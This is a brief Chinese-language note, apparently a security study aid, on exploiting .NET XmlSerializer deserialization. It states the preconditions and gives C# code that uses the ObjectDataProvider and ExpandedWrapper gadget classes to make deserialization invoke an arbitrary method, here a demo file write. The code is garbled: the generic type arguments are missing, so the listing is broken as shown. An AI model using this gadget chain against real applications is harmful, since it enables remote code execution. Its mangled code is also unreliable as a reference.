条件：

1. 初始化对象时，类型可控：new XmlSerializer(type可控)
2. 反序列化对象时，输入内容可控：serializer.Deserialize(fi可控)

两个关键类：ObjectDataProvider, ExpandedWrapper

//PresentationFramework.dll  v4.0.0.0System.Windows.Data.ObjectDataProvider//System.Data.Services.dll   v4.0.0.0System.Data.Services.Internal.ExpandedWrapper

Payload生成：

public static void serializeObjectWithXmlSer()        {            ExpandedWrapper
    
      eobj = new ExpandedWrapper
     
      ();            XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper
      
       ));            eobj.ProjectedProperty0 = new ObjectDataProvider();            eobj.ProjectedProperty0.ObjectInstance = new Class2();            eobj.ProjectedProperty0.MethodName = "writeFile";            eobj.ProjectedProperty0.MethodParameters.Add("xxxxx");            eobj.ProjectedProperty0.MethodParameters.Add("ser.txt");            TextWriter fo = new StreamWriter("d:/tmp/xmlser.txt");            serializer.Serialize(fo, eobj);            fo.Close();        }
      
     
    

触发Payload：

public static void deserializeObjectWithXmlSer()        {            XmlSerializer ser = new XmlSerializer(typeof(ExpandedWrapper
    
     ));            TextReader fi = new StreamReader("d:/tmp/xmlser.txt");            ser.Deserialize(fi);            fi.Close();        }